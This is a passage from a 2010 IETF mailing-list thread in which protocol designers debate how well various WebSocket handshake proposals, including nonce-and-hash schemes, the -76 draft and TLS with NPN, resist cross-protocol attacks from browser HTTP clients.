against a TLS+NPN solution.   I'm am not and fully support efforts to
propose that as an alternative (and potentially only) websocket
handshake.

With regards to the HTTP upgrade handshake, I am trying to get this WG
to participate in exactly the analysis that you suggest is lacking so
that we may have some reasoned assurance.  Telling us that there are
some things that we have not thought of, while not even giving a vague
suggestion as to what they might be is hardly helpful.

I have tried to put the discussion in terms of capabilities that WS
might add to a browser, specifically are we enabling the transmission
of any hazardous bytes sequences to unsuspecting servers?    Both the
-02 draft has several defences that stop a compromised client from
being able to send the required structure of bytes and from knowing
what bytes they should send even if they could.   I do not believe
that my proposed handshake changes have weakened these defences in any
way and all you have been able to say to the contrary is that they
might have.

Well I can say the same: TLS might be vulnerable to man in the middle
attacks and recent experience proves that to be plausible. But that is
not an real argument against TLS, just the same as your suggestion
that my proposal might have weakened the handshake.

regards

---

From: Ian Hickson <[email-masked]>
Date: Mon, 27 Sep 2010 08:18:53 +0000 (UTC)

On Sun, 26 Sep 2010, Adam Barth wrote:
> handshake is sufficiently robust to cross-protocol attacks.  That might 
> well be true.  However, I don't think we have any reasonable assurance 
> that it is true.  If we can't have reasonable assurance of the security 
> of the -76 handshake, then we certainly cannot have such assurance about 
> your handshake since it is strictly weaker.
> 
> argument to that effect in an email a while ago.  No one has provided a 
> similarly detailed security analysis of the -76 handshake or of the 

As the designer of the "-76 handshake", I can confirm that while I am not 
aware of any attacks against it, and while it was designed to withstand 
all the attacks I knew of and to be resilient against the most obvious 
implementation errors, it is certainly not proven beyond a doubt that it 
is secure against anything that might be thrown at it.

As it stands, the handshake was a compromise between the competing needs 
of security in depth, fast time-to-market, and triviality of 
implementation. Since the latter two constraints are no longer as 
pressing, IMHO we should dial up the effort on the first. We can certainly 
do a much better job of having a handshake immune to current and future 
threats if we can take longer to do it and/or if we can do things that 
only have to be implemented a few times by more experienced engineers 
(e.g. if we can rely on crypto-level features like TLS).

---

From: Patrick McManus <[email-masked]>
Date: Mon, 27 Sep 2010 09:40:40 -0400

On Sun, 2010-09-26 at 23:26 -0700, Adam Barth wrote:

> handshake resists cross-protocol attacks. 

>From a NPN advocate I would like to see a strong argument on the
deployabiltiy of a NPN based handshake.

>From some weak research that is open to more information: 

* I'm concerned that it looks like the TLS working group doesn't have
consensus support for NPN. 

* I wonder how settled the draft is? It looks like openssl 1.1.0 has
patches for draft-00, but the draft-ietf is 01.. are they compatible?
Will there be more drafts? Is it advisable to tie the WS timetable to
that uncertainty? (we have uncertainty of our own :()

* I'm concerned that TLS stacks on the server side are deployed
independent of the stacks that will implement websockets and waiting for
them to make the necessary enabling change would create a very
substantial barrier to implementation. It isn't hard to imagine it being
so substantial that -76 would just become the defacto standard even with
uptake of draft-ietf-ws from browser and server authors.

---

From: Scott Ferguson <[email-masked]>
Date: Mon, 27 Sep 2010 10:13:54 -0700

> The reason I am skeptical of your proposed ping-poing handshake as a defense against cross-protocol attacks is that the *only* defense protecting WebSocket servers from attacks over HTTP is the ass…

Yes, the "ping" packet is missing a hash, which is needed to validate 
the browser as a websocket browser. Modifying Greg's proposal:

C1: c-nonce=...

S2: H(c-nonce, "WebSocket")
      s-nonce=...

C3: H(s-nonce, "WebSocket")

With that modification, the client does not send websocket data until 
the server has been validated as a websocket server, and the server does 
not process websocket data until the client has been validated as a 
websocket client. (There's no need for a S4 "pong" packet since the 
server is already validated as websocket when the client validates S2.) 
That protocol is pretty much the minimum required, and doesn't add 
overhead beyond the current handshake.

I'd propose two additional changes that aren't required, strictly 
speaking, but would be helpful for other security-related reasons:

1. Use "WEBSOCKET" instead of "GET" as the HTTP method. This is helpful 
because it lets validating servers quickly reject websocket requests 
(e.g. well-behaved HTTP servers), and lets server administrators use 
existing security frameworks (which are often HTTP method based), to 
specify websocket security easily. With the current "GET", it's somewhat 
of a problem for a server administrator to specify a different policy 
for GET vs websockets.

2. Use a new AUTH or HELLO opcode/packet for the C3 hash instead of 
overloading PING. This would make the packet's purpose clear and give a 
space for any future challenge-based authentication to put its 
credentials in a future spec extension. (I'd recommend any 
authentication extension/C3-payload use HTTP style authentication 
headers so the extension could just use existing security handshakes.)

> A potential improvement would be to require the server to produce a random number, which is included in the ping and must be in the pong in addition to the hash. In that case, an attacker could not…

No, it's different from -76, because the properties of the nonce/hash 
pattern are well known. The flaw with -76 is just what you describe: 
it's inventing new security patterns and is likely to have complicated 
flaws. Sticking to a well-known pattern is the right way to go.

-- Scott

---

From: Greg Wilkins <[email-masked]>
Date: Tue, 28 Sep 2010 08:18:08 +1000

Scott,

yes - I glossed over the details of what the actual hash should be in
the ping packet.  I believe H(c-nonce, "WebSocket") is a good hash
that indicates the server is a WS.

With regards to using a WEBSOCKET method,  I would not like to see
that as mandatory, as I still hold out some hope of using the
handshake request as a useful GET or POST in the case that the
websocket upgrade is unsuccessful.   It will take many years for
websocket to be ubiquitous in browsers and intermediaries, so fall
back transports will be a must for some time.  If an unsuccessful
handshake can be used to initiate a comet transport, then we will save
a RTT.

I understand that there is no capability in the clients for this
today, and it would greatly complicate the discussion to consider such
a mechanism now.   So it is a thought bubble for the future.  So at
this stage all I'm advocating is that we don't close off this options.

Maybe the spec can say we SHOULD use the WEBSOCKET method unless the
client is able to handle the response of another method, should the
websocket upgrade be unsuccessful.

I don't see using ping/pong in the handshake as overloading their
purpose.  They are there to test the connection and keep it open, so
it appears like the right purpose to me.  But then if others support a
HELLO opcode, that also works for me.

cheers

On 28 September 2010 03:13, Scott Ferguson <[email-masked]> wrote:
> Yes, the "ping" packet is missing a hash, which is needed to validate the
> browser as a websocket browser. Modifying Greg's proposal:
>
> C1: c-nonce=...
>
> With that modification, the client does not send websocket data until the
> server has been validated as a websocket server, and the server does not
> process websocket data until the client has been validated as a websocket
> client. (There's no need for a S4 "pong" packet since the server is already
> validated as websocket when the client validates S2.) That protocol is
> pretty much the minimum required, and doesn't add overhead beyond the
> current handshake.
>
> I'd propose two additional changes that aren't required, strictly speaking,
> but would be helpful for other security-related reasons:
>
> because it lets validating servers quickly reject websocket requests (e.g.
> well-behaved HTTP servers), and lets server administrators use existing
> security frameworks (which are often HTTP method based), to specify
> websocket security easily. With the current "GET", it's somewhat of a
> problem for a server administrator to specify a different policy for GET vs
> websockets.
>
> space for any future challenge-based authentication to put its credentials
> in a future spec extension. (I'd recommend any authentication
> extension/C3-payload use HTTP style authentication headers so the extension
> could just use existing security handshakes.)
>
> pattern are well known. The flaw with -76 is just what you describe: it's
> inventing new security patterns and is likely to have complicated flaws.
> Sticking to a well-known pattern is the right way to go.
>
> -- Scott
>>

---

From: Scott Ferguson <[email-masked]>
Date: Mon, 27 Sep 2010 16:26:08 -0700

> that indicates the server is a WS.

That's not quite the issue. It's the second hash in the PONG that's 
missing, because we also need to verify the client as a WS client and 
not a hijacked HTTP client (or hijacked future non-websocket client):

The server's PING would have two values in its payload:

  S2. PING
    a. H(c-nonce, "WebSocket")
    b. s-nonce -- missing from your original proposal
    (*c. optional authentication challenge)

And the client's PONG would include the second hash:

  C3. PONG
    a. H(s-nonce, "WebSocket") -- missing from your original proposal
    (*b. optional authentication credentials)

I just re-skimmed the thread, but didn't see any discussion of the 
missing s-nonce, and H(s-nonce, "WebSocket") both of which are needed to 
validate the client. As Maciej pointed out, that client validation is an 
important check.

(*c and *b are just to show where an auth extension might fit.)

> websocket upgrade be unsuccessful.

These are good points.

I just wanted to raise the idea because it would be very nice for a 
non-websocket server to quickly detect and reject a websocket request 
just by looking at the first few characters, before any header or url 
attacks are possible. (The websocket method only helps well-written 
servers, of course, not broken servers like SMTP, but it's still a help.)

> HELLO opcode, that also works for me.

Either way.

I'd think HELLO would be cleaner because the payload's semantics are 
significantly different from the usual meaning of PING/PONG, but it 
doesn't really matter. The implementation is basically the same in 
either case.

-- Scott

---

From: Greg Wilkins <[email-masked]>
Date: Tue, 28 Sep 2010 10:30:14 +1000

On 28 September 2010 09:26, Scott Ferguson <[email-masked]> wrote:
> That's not quite the issue. It's the second hash in the PONG that's missing,
> because we also need to verify the client as a WS client and not a hijacked
> HTTP client (or hijacked future non-websocket client):

OK, I've got it.

For your proposal of a server nonce, then a HELLO op-code is more
appropriate than ping/pong as the pong should normally contain the
same content as the ping.

So my proposal was:

HTTP(upgrade,nonce)   -->
<-- HTTP(101)
<-- WS(ping,hash(nonce,"WebSocket"))
[ <-- * WS(op, data)  ]
--> WS(pong,hash(nonce,"WebSocket"))   ; client calls onOpen
[ * WS(op, data) -->  ]

Your amendment is

HTTP(upgrade,c-nonce)   -->
<-- HTTP(101)
<-- WS(hello,hash(c-nonce,"WebSocket"),s-nonce)
[ <-- * WS(op, data)  ]
--> WS(hello,hash(s-nonce,"WebSocket"))   ; client call onOpen
[ * WS(op, data) -->  ]

I'm not 100% convinced that the server nonce is really necessary, as
the client has already been validated by sending Sec-Headers and the
upgrade in the first place, and the contents of the ping message must
be copied into a pong message (and is not predictable if the nonce is
hidden from the client).

But if we want defence in depth, then the second hash of a s-nonce is
an good way to achieve this.

cheers

---

From: Maciej Stachowiak <[email-masked]>
Date: Mon, 27 Sep 2010 22:16:21 -0700

> discussion as substitutes for reasoned discussion.

I don't consider it an insult, rather, an encouragement to learn more about the problem space. I even gave you some pointers on how to learn more (in the part of the message you snipped).

> looks secure, but has not been subject to rigorous due diligence, is

I don't think anyone is suggesting less diligence. I tried to do due diligence on your proposal, but you seem more interested in defending your solution than in learning more about the problem space.

> "fast fail" detection of intermediaries that do not support websocket.

That may be, but you made a security claim about it in your original message proposing it, and appeared to overlook cross-protocol attacks from HTTP to WebSocket, which is why I re-raised that point.

> response, just as they cannot generate the 8 random unframed bytes.

I'm not starting with the assumption that the current handshake is adequate, though I think it is slightly stronger than your proposal because the attacker has to control more of the request.

> neither the capability to send the bytes, nor the knowledge of what

I don't believe that is true. If the attacker is using an HTTP API and has injected the nonce, then the attacker also knows the hash of the nonce, and therefore can produce a pong response with the correct hash without waiting for a response from the server.

Incidentally, I would not stand behind a version of the ping/pong handshake that adds a server-generated random number. Servers at times accidentally use low-quality random-number generators, it would be better not to stake security on strength of a server-side RNG.

> unforeseeable  security problems.

I'm not specifically advocating for space counting. I just think your proposed handshake is weak from a security perspective.

> another way to establish websocket connections.

When a system provides multiple alternatives that the attacker can choose from, its security is only as strong as the weakest link. If the HTTP-based handshake creates undue risk of cross-protocol attacks, then the availability of a less exploitable alternative will not make the Web as a whole more secure.

> processes will not allow any of our proposals progress.

I've given you input on your proposal. I explained in some detail why I think it is quite weak in the HTTP vs. WebSocket cross-protocol attack scenario. I don't see a substantive response to my comments in your message above. Can you give an argument for why the nonce+ping handshake is well-defended against cross-protocol attacks? I have made a case that it is not very strong, I believe the ball is in your court to show otherwise, regardless of the strength of any other handshake under consideration.

Regards,
Maciej

---

From: Maciej Stachowiak <[email-masked]>
Date: Mon, 27 Sep 2010 22:17:51 -0700

On Sep 27, 2010, at 12:15 AM, Alexander Voronin wrote:

> Well that's what I've talked about. You have proposed simple and clear handshake that 100% protects handshake state of WebSocket connection and as result makes unable to use cross-protocol attacks. It's enough. Why this handshake was turned to something unimaginably complex? All this new steps do not protect nothing.

After learning more about the problem space, I think my original proposal, as well as the more complex version in the -76 draft, as well as Greg's re-simplified version, are probably not strong enough.

I do think Ian's version is a tiny bit stronger than my original proposal, but I think Greg's version is no stronger than my original.

Regards,
Maciej

> 
> 27 сентября 2010 г. 3:44 пользователь Maciej Stachowiak <[email-masked]> написал:
>

---

From: Willy Tarreau <[email-masked]>
Date: Tue, 28 Sep 2010 07:25:01 +0200

> be copied into a pong message (and is not predictable if the nonce is

I really think that if we can get a clean WS-based handshake, we can
get rid of the Sec-* headers, as the WS handshake will validate a much
more serious part of the protocol than the HTTP headers with their
tricks.

Willy

---

From: Maciej Stachowiak <[email-masked]>
Date: Mon, 27 Sep 2010 22:26:56 -0700

On Sep 27, 2010, at 10:13 AM, Scott Ferguson wrote:

> Yes, the "ping" packet is missing a hash, which is needed to validate the browser as a websocket browser. Modifying Greg's proposal:
> 
> C1: c-nonce=...
> 
> With that modification, the client does not send websocket data until the server has been validated as a websocket server, and the server does not process websocket data until the client has been validated as a websocket client. (There's no need for a S4 "pong" packet since the server is already validated as websocket when the client validates S2.) That protocol is pretty much the minimum required, and doesn't add overhead beyond the current handshake.

Yes, I think that would be stronger in the scenario I describe, but it would be highly vulnerable to a bad RNG on the server, in part because the final authentication of the client does not involve the c-nonce at all.

More generally, I am not 100% confident that this approach will hold up in the long term against novel attacks.

> 
> I'd propose two additional changes that aren't required, strictly speaking, but would be helpful for other security-related reasons:
> 
> 1. Use "WEBSOCKET" instead of "GET" as the HTTP method. This is helpful because it lets validating servers quickly reject websocket requests (e.g. well-behaved HTTP servers), and lets server administrators use existing security frameworks (which are often HTTP method based), to specify websocket security easily. With the current "GET", it's somewhat of a problem for a server administrator to specify a different policy for GET vs websockets.
> 
> 2. Use a new AUTH or HELLO opcode/packet for the C3 hash instead of overloading PING. This would make the packet's purpose clear and give a space for any future challenge-based authentication to put its credentials in a future spec extension. (I'd recommend any authentication extension/C3-payload use HTTP style authentication headers so the extension could just use existing security handshakes.)

#1 seems like an improvement, but #2 doesn't seem to give any security benefit.

> No, it's different from -76, because the properties of the nonce/hash pattern are well known. The flaw with -76 is just what you describe: it's inventing new security patterns and is likely to have complicated flaws. Sticking to a well-known pattern is the right way to go.

Nonce/hash is a well-known mechanism. But I do not believe there is a lot of knowledge on using it as a defense against cross-protocol attacks. Generally it is used as part of a challenge-response mechanism for authentication purposes, but authentication is not the goal here. There is no shared secret or public-private keypair involved.

Regards,
Maciej

---

From: Maciej Stachowiak <[email-masked]>
Date: Mon, 27 Sep 2010 22:28:31 -0700

> more serious part of the protocol than the HTTP headers with their

If we go with an HTTP-based handshake at all, we have to keep something in the original HTTP request that browser-hosted HTTP clients are assumed unable to send. Otherwise we'll significantly increase the risk of HTTP-vs-WebSocket cross-protocol attacks.

Regards,
Maciej

---

From: Willy Tarreau <[email-masked]>
Date: Tue, 28 Sep 2010 07:32:55 +0200

> If we go with an HTTP-based handshake at all, we have to keep something in the original HTTP request that browser-hosted HTTP clients are assumed unable to send. Otherwise we'll significantly incre…

The client is as much unable to send "Upgrade: Websocket" as it is to
send "Sec-*". Either the client code controls all headers or it controls
none.

Regards,
Willy

---

From: Greg Wilkins <[email-masked]>
Date: Tue, 28 Sep 2010 19:36:49 +1000

Maciej,

taking our offline conversation back to the list (as you suggested), you said:

> I don't think you identified any effective defenses other than inability
> to send the intended form of the nonce (as a Sec- header).
>
> I would be glad to elaborate further on the list if that would be helpful.

I believe that more defences have been discussed than just the
inability to send the nonce. Specifically the following defences have
been identified (but perhaps not enumerated as thoroughly):

For a HTTP client to attack a WS server, the defences are:
 + The inability to send a nonce in a Sec-Header.
 + Reliance on the browser not treating the 101 response as an error.
 + The inability to read the ping frame after the 101 response.
 + The inability to send a pong frame
 + The inability to provide credentials (not otherwise available to
normal HTTP) to access authorized content
 + The inability to make a WS server send unauthorized content as
valid WS frames
 + The inability to provide credentials (not otherwise available to
normal HTTP) that might trigger server side effects
 + The inability to send a WS frame from a HTTP client that might
trigger server side effect.
 + That even if all of the above could be subverted, the attacker
would only have a capability (to talk WS), that we plan to have widely
available within the browser.

For a WS client to attack a HTTP server:
 + The inability to force intermediaries and servers to generate a 101 response
 + The inability to force a server to emit a ping frame after a 101 response
 + The inability to know what contents to put into a ping frame even
if one could be injected.
 + The inability to provide credentials (not otherwise available to
normal HTTP) to access authorized content
 + The inability for the server to send unauthorized content in a WS frame.
 + The inability to provide credentials not available to via a normal
HTTP request that might trigger some authorized side effect.
 + The inability to send valid HTTP requests from a WS client.
 + If all of the above could be subverted, then the existing browser
cross domain model could be broken and an attacker could view content
from a different domain. But if the server was injectable to such an
extent as to allow 101s and ping frames, then it is highly likely that
javascript code could be injected that would also break the cross
domain model without the use of WS.

For a WS client to some other protocol server:
 + The browser restricts the port range that can be the target of a WS
connection
 + Reliance on the server to not treat the HTTP handshake request as a
fatal error.
 + The inability to force the servers to generate a 101 response
 + The inability to force a server to emit a ping frame after a 101 response
 + The inability to know what contents to put into a ping frame even
if one could be injected.
 + The inability to force another protocol server to send unauthorized
content in a websocket frame.
 + The inability to provide credentials not available to via a normal
HTTP request that might trigger some authorized side effect.

For a WS client to attack a WS server:
 + The inability to force a server to send arbitrary origin headers,
so attacking code will not be from the same origin as the connection.

Note that these defences are essentially identical between -02 and my
proposal - ie they are not dependant on space encoding of nonces nor
the unframed transmission of nonces and hashes.

I'm not saying these defences are perfect, nor that they cannot be
improved. However I think that there are sufficient defences in depth
(except for WS to WS) that they cannot be simply dismissed without
some thorough detailed explanation.

regards

---

From: "Simon Pieters" <[email-masked]>
Date: Tue, 28 Sep 2010 11:36:39 +0200

On Tue, 28 Sep 2010 07:32:55 +0200, Willy Tarreau <[email-masked]> wrote:

>> If we go with an HTTP-based handshake at all, we have to keep something  
>> in the original HTTP request that browser-hosted HTTP clients are  
>> assumed unable to send. Otherwise we'll significantly increase the risk  
>> of HTTP-vs-WebSocket cross-protocol attacks.
>
> send "Sec-*".

But WebSocket servers are not forced to read the Upgrade header in order  
to produce a correct response, which means that some servers won't.

> Either the client code controls all headers or it controls
> none.

No. XMLHttpRequest can set arbitrary headers, but cannot set headers  
starting with "Sec-" (as it happens it also can't set the Upgrade header).

-- 
Simon Pieters
Opera Software

---

From: Scott Ferguson <[email-masked]>
Date: Tue, 28 Sep 2010 09:38:39 -0700

> Yes, I think that would be stronger in the scenario I describe, but it would be highly vulnerable to a bad RNG on the server, in part because the final authentication of the client does not involve…

But that weakness is fundamental to all authentication. If keys or 
nonces can be predicted because they're not random, then you're always 
vulnerable to replay attacks. That issue is not specific to any 
particular protocol/handshake; it applies to all of them.

> More generally, I am not 100% confident that this approach will hold up in the long term against novel attacks.

That's not really a point.

Since nonce/hash as authentication is a well-known pattern, it's 
potential vulnerabilities are also well-known. The issue of novel 
attacks would be more of a problem with a new security pattern, which is 
why sticking to the old patterns is generally a good idea.

> #1 seems like an improvement, but #2 doesn't seem to give any security benefit.

#2 is certainly a security benefit for servers. If a server provides a 
non-browser service, it needs the ability to authenticate. That should 
be an obvious security need.

> Nonce/hash is a well-known mechanism. But I do not believe there is a lot of knowledge on using it as a defense against cross-protocol attacks. Generally it is used as part of a challenge-response…

Authentication is the goal here. The whole point of defeating a 
cross-protocol attack is authenticating both the client and the server 
as implementing the correct protocol. Once you've validated both sides 
as implementing websockets, then any attack is no longer a 
cross-protocol attack.

The shared "secret" is the "WebSocket" value in the hash. For server 
authentication, H(c-nonce, "WebSocket"), only a websocket server will 
ever produce that hash because on a websocket server has that "secret". 
SMTP cannot produce that response because it don't have that secret (and 
doesn't produce hashes at all, of course.)

-- Scott

---

From: Scott Ferguson <[email-masked]>
Date: Tue, 28 Sep 2010 10:41:36 -0700

> --> WS(hello,hash(s-nonce,"WebSocket"))   ; client call onOpen

Exactly.

> an good way to achieve this.
Yep.

The s-nonce gives the server control over the validation of the client, 
because the server controls the quality of the s-nonce. Otherwise, it 
would be relying on the quality of hijacked client's c-nonce and the 
client's own headers to validate the client. Since the client validation 
protects the websocket server, it makes sense for the server to have 
that control.

-- Scott

---

From: Simone Bordet <[email-masked]>
Date: Tue, 28 Sep 2010 20:30:26 +0200

Hi,

>> I would be glad to elaborate further on the list if that would be helpful.

The sentence is a bit out of context, but if you refer to elaborating
on the cross protocol fallacies or attack patterns that the proposed
non-NPN handshake are subject to, I am certainly interested.

Thanks,

Simon

---

From: Maciej Stachowiak <[email-masked]>
Date: Tue, 28 Sep 2010 16:50:21 -0700

> + The inability to send a nonce in a Sec-Header.

Agree on this one.

> + The inability to read the ping frame after the 101 response.

The threat model I described involves an attack on integrity, not confidentiality, so these two defenses do no good.

In other words, the threat model is that the attacker sends commands with side effects that it shouldn't be able to, and doesn't care about reading the response.

> + The inability to send a pong frame

I don't think this one is true. Why couldn't you include it in an HTTP message body? Your original proposal does nothing to prevent this. Adding a server-provided nonce to the ping and requiring it to appear in some form in the pong does add some protection, but only as strong as the server's (possibly ad-hoc) choice of RNG.

> normal HTTP) to access authorized content

Network position is itself effectively a credential. Some servers are only protected by a firewall. This is common not only in enterprise scenarios but also with many consumer devices that offer Web-based configuration. Browsers generally consider it their responsibility not to expand the attack surface in such cases.

There are ways to send other credentials in cross-site requests, for example by doing it through a form instead of XHR. I haven't thought through those cases in detail yet so I don't have a strong claim to make at this time.

> + The inability to make a WS server send unauthorized content as

Not relevant to the threat model. Again, because the threat is an attack on integrity, not confidentiality.

> normal HTTP) that might trigger server side effects

Not relevant to the threat model, which is existing HTTP functionality being used to attack WebSocket servers.

> trigger server side effect.

I don't think this is true. What stops you from sending the bytes of a WS frame from an in-browser HTTP client?

> available within the browser.

WebSocket itself will not send any frames until the handshake is complete, but HTTP sends the body along with the headers. So it's not the same. You can't count on browser-side checking of the server response to protect WS servers from HTTP clients.

The risk I described did not fall into the three other threat models below, so no comment on those for now. I will review the list later, time permitting.

Regards,
Maciej

---

From: Maciej Stachowiak <[email-masked]>
Date: Tue, 28 Sep 2010 16:59:13 -0700

On Sep 28, 2010, at 9:38 AM, Scott Ferguson wrote:

> #2 is certainly a security benefit for servers. If a server provides a non-browser service, it needs the ability to authenticate. That should be an obvious security need.

Can you explain the security benefit specifically of changing the opcodes of the packets involved in the handshake? It's not clear to me. A new authentication scheme may or may not have benefits on its own, but changing the handshake message opcodes does not seem to make any difference to this.

> Authentication is the goal here. The whole point of defeating a cross-protocol attack is authenticating both the client and the server as implementing the correct protocol. Once you've validated both sides as implementing websockets, then any attack is no longer a cross-protocol attack.
> 
> The shared "secret" is the "WebSocket" value in the hash. For server authentication, H(c-nonce, "WebSocket"), only a websocket server will ever produce that hash because on a websocket server has that "secret". SMTP cannot produce that response because it don't have that secret (and doesn't produce hashes at all, of course.)

This does not seem like a classical authentication problem to me. There is no actual secret and no actual proof of identity. Rather, the cross-protocol defense provided depends on the presumed inability of stock servers or browser-hosted client code to send or meaningfully process particular messages. For example, the security of this scheme would be largely unaffected if the hash was not cryptographically secure, which is surely not the case with actual authentication schemes. Robustness against cross-protocol attacks is simply not the same problem.

Regards,
Maciej

---

From: Greg Wilkins <[email-masked]>
Date: Wed, 29 Sep 2010 17:58:40 +1000

> In other words, the threat model is that the attacker sends commands with side effects that it shouldn't be able to, and doesn't care about reading the response.

This would rely on a WS server taking an undesirable side effect on
the basis of a partially negotiated WS connection.
If such a server was written, surely it would be vulnerable to any WS
client and thus this is not a cross protocol issue, just
a poorly written server.   More importantly, is there anything about a
raw HTTP request that cannot be done in a normal WS upgrade request
that is likely to trigger such a side effect?

> I don't think this one is true. Why couldn't you include it in an HTTP message body? Your original proposal does nothing to prevent this. Adding a server-provided nonce to the ping and requiring it…

It is conceivable that some HTTP requests might also be valid WS
frames.   However, as HTTP sent from the server will start with
HTTP/1.1 XXX reason, then only very contrived frames could be sent.
The first two bytes of a ping frame carrying a 16 byte hash are STX
DLE, and certainly not a valid HTTP response and an invalid method
name in a HTTP request.

So I stand by my claim that a pong frame cannot be sent by a HTTP
client, but perhaps some very contrived framed could be (see below).

> Network position is itself effectively a credential. Some servers are only protected by a firewall. This is common not only in enterprise scenarios but also with many consumer devices that offer We…

If the network is the only credential needed, then the compromised
browser will eventually have a WS client and thus this is not a cross
protocol issue.     There is nothing about WS that is different than
just HTTP in this regard and we would have to hope that the browser
origin policy would protect both HTTP and WS from such poorly
authenticated services being attacked by local compromised clients.
Unfortunately many such environments probably have XSS vulnerabilities
as well, so the origin model can be subverted, but this is an existing
risk and there is no additional risk introduced by WS here.

> Not relevant to the threat model, which is existing HTTP functionality being used to attack WebSocket servers.

They are still defences against other cross protocol attacks, hence I
listed should be listed as part of the defences.

> I don't think this is true. What stops you from sending the bytes of a WS frame from an in-browser HTTP client?

It is indeed possible that some HTTP messages may indeed be valid WS
frames, and I think that perhaps we
need to do some further consideration of the framing mechanism to make
sure that ASCII method names do not
become legal frame headers.

While the opcode is mostly 0x00, the -76 and -00 are pretty safe from
HTTP methods looking like WS frames.
But as more opcodes and RSV bytes are allocated, then there is a
slight risk that a meaningful WS framing might be
comprised entirely of ASCII characters that could be put into a HTTP
method name.

So at this stage, I think I should water down this point.  There is
not an inability to send a legal WS frame from a HTTP client, but
there is the inability to send an arbitrary legal WS frame but some
possibility that some highly contrived WS might be sent.

Note that this was no different to -76, where a hashed nonce could
also be all ascii characters.

If we are concerned about this level of defence not being sufficient,
then we may need to revisit the framing protocol to perhaps make sure
that the header cannot be represented by a HTTP method name or
HTTP/1.1 response.

> WebSocket itself will not send any frames until the handshake is complete, but HTTP sends the body along with the headers. So it's not the same. You can't count on browser-side checking of the serv…

I don't think you have understood my point.   Let's say that we can
subvert a HTTP client so that it passes the WS handshake, so we know
have a WS connection wired to a HTTP client.   Does that now give us
any capabilities that represent a threat that we would not have if we
were using a WS client?

Actually to answer my own question, a HTTP message that is contrived
to look like a WS frame will be able to have the opcode and RSV bits
set by the caller, which otherwise is not the case for WS clients.  So
this last defence is weaker than I represented, but that's why we have
defence in depth.   Again, we might want to revisit framing to ensure
that HTTP methods cannot form valid WS headers.

Excellent - this exchange has finally been productive and I think we
have indeed identified some weaknesses (albeit already existing in
-76) that may need to be strengthened if we suspect that a HTTP client
could somehow get past the other handshake defences.

But so far, there has been no indication that my proposal to change
the nonce encoding and to frame the hashes as WS packets has weakened
the defences.  I believe that the analysis we are doing is still
showing that it is at least as secure as -76.

regards

regards

---

From: Willy Tarreau <[email-masked]>
Date: Wed, 29 Sep 2010 10:23:10 +0200

> that is likely to trigger such a side effect?

I'd push the reasoning further : the WS server must be as reliable as
HTTP servers, and must not rely on WS clients behaviour to remain safe.
Many HTTP requests these days are forged and come from botnets. We can
be sure that when WS-aware servers become common, we'll also see forged
WS requests everywhere. The fact that the server challenges the client
will at least get rid of most of the stupid attacks which consist in
always sending the same forged patterns.

But once we consider we have smart clients, HTTP and WS will simply be
on the same scale.

Willy

---

From: Maciej Stachowiak <[email-masked]>
Date: Wed, 29 Sep 2010 01:56:12 -0700

> that is likely to trigger such a side effect?

The raw HTTP request can include a body, which is sent immediately, rather than waiting for the remainder of the handshake. The body can include content framed as WS protocol messages. A WebSocket client will wait until the handshake is complete. So yes, the possibility of attempting an HTTP connection to a WebSocket server does create additional attack surface.

> client, but perhaps some very contrived framed could be (see below).

You don't need the WebSocket frame to be a full HTTP message. You simply put as many WebSocket frames as you want in your HTTP body ahead of time. (That's the original threat model I suggested - you cue up an XHR that has a number of WebSocket frames in the body.) This is the reason client parts of the handshake need to not be predictable up front for an attacker.

> risk and there is no additional risk introduced by WS here.

WS is different for reasons stated under the first point. It won't send messages of the client's choice until the handshake is complete.

> listed should be listed as part of the defences.

OK, but not defenses against the particular threat I suggested.

> become legal frame headers.

You don't need to use a full HTTP message to send a WS frame, you can just put them in the body of a single message. That's what my original threat model imagined.

Using multiple HTTP requests in combination with HTTP pipelining is an interesting additional threat that I hadn't thought of.

> any capabilities that represent a threat that we would not have if we

The HTTP client doesn't need to really pass the handshake - it just needs to do a good enough job to fool the server, long enough for the server to read some frames. If the server expects it will never even get client frames until the protocol is complete, it may be in for a bad surprise.

You could say it's just the server author's responsibility to code defensively, but I think it would be even better if the protocol is designed to make it hard to make implementation mistakes of this kind.

> showing that it is at least as secure as -76.

I suspect -76 is not strong enough, but it is slightly stronger in some specific ways. First, by spreading the data across multiple header fields and incorporating whitespace, it makes it slightly trickier to do injection attacks. Second, by requiring the server to combine data from multiple places, it makes it more likely the server will read more of the handshake.

Another possible strengthening is to design the actual message framing such that it is affected by data from both the client and server parts of the handshake. Let's say the whole frame header is XOR'd with the sum of client and server nonces. Then it is impossible for the server to read frames produced by a party that didn't really participate in the handshake, and likewise makes it impossible to read frames without checking the handshake. Effectively this (lightly) encrypts frame headers so they look like random bytes if there wasn't a proper handshake. For bonus points encrypt the message bodies too, and this would shore up defense against attackers using WebSocket to talk to another protocol (since, past the handshake, their bytes would look random and not actually be controlled by them).

I don't know offhand what the perf impact would be of this kind of approach. 

I note that this ad-hoc approach starts to resemble TLS the more it has added to it, only without the years of review and deployment experience, which is why I am somewhat skeptical of heading further in this direction.

Regards,
Maciej

---

From: Roderick Baier <[email-masked]>
Date: Wed, 29 Sep 2010 11:18:13 +0200

> Another possible strengthening is to design the actual message framing such that it is affected by data from both the client and server parts of the handshake. Let's say the whole frame header is X…

What about XORing the whole frame with the handshake (cf. Vigenère)?
C -> S: frame xor server handshake
S -> C: frame xor client handshake

Regards
Roderick

> ------------------------------------------------------------------------
>

---

From: Greg Wilkins <[email-masked]>
Date: Wed, 29 Sep 2010 20:28:46 +1000

On 29 September 2010 18:56, Maciej Stachowiak <[email-masked]> wrote:
> The raw HTTP request can include a body, which is sent immediately, rather
> than waiting for the remainder of the handshake. The body can include
> content framed as WS protocol messages. A WebSocket client will wait until
> the handshake is complete. So yes, the possibility of attempting an HTTP
> connection to a WebSocket server does create additional attack surface.

But how is the HTTP header going to be skipped by the WS server in
order for it to find these encapsulated WS messages?

Both a HTTP server and a WS server will consume all of any HTTP
request sent to it, so content will not be mistaken as new messages.

It is not sufficient just to send WS frames over the wire.  You have
to explain how they are
going to be sent so that a server will actually read them and
interpret them WS messages.

> I suspect -76 is not strong enough, but it is slightly stronger in some
> specific ways. First, by spreading the data across multiple header fields
> and incorporating whitespace, it makes it slightly trickier to do injection
> attacks.

Why is hex encoding simpler to inject than the space/char injected
decimal encoding?
The white space fields originate from the client and do not need to be
injected into
the server response.

Can you explain any scenario where a HTTP client could somehow send Sec- fields
without spaces, but could not send ones with spaces?

Also I've not proposed having only a single key field. We can still
have two fields,
so thus require data from multiple header fields.

I think the bulk of your concerns are about HTTP handshakes in general and
not specifically about my proposals to fix the handshake issues that
we have now.
Let's not forget that the current handshake with unframed random bytes
is causing
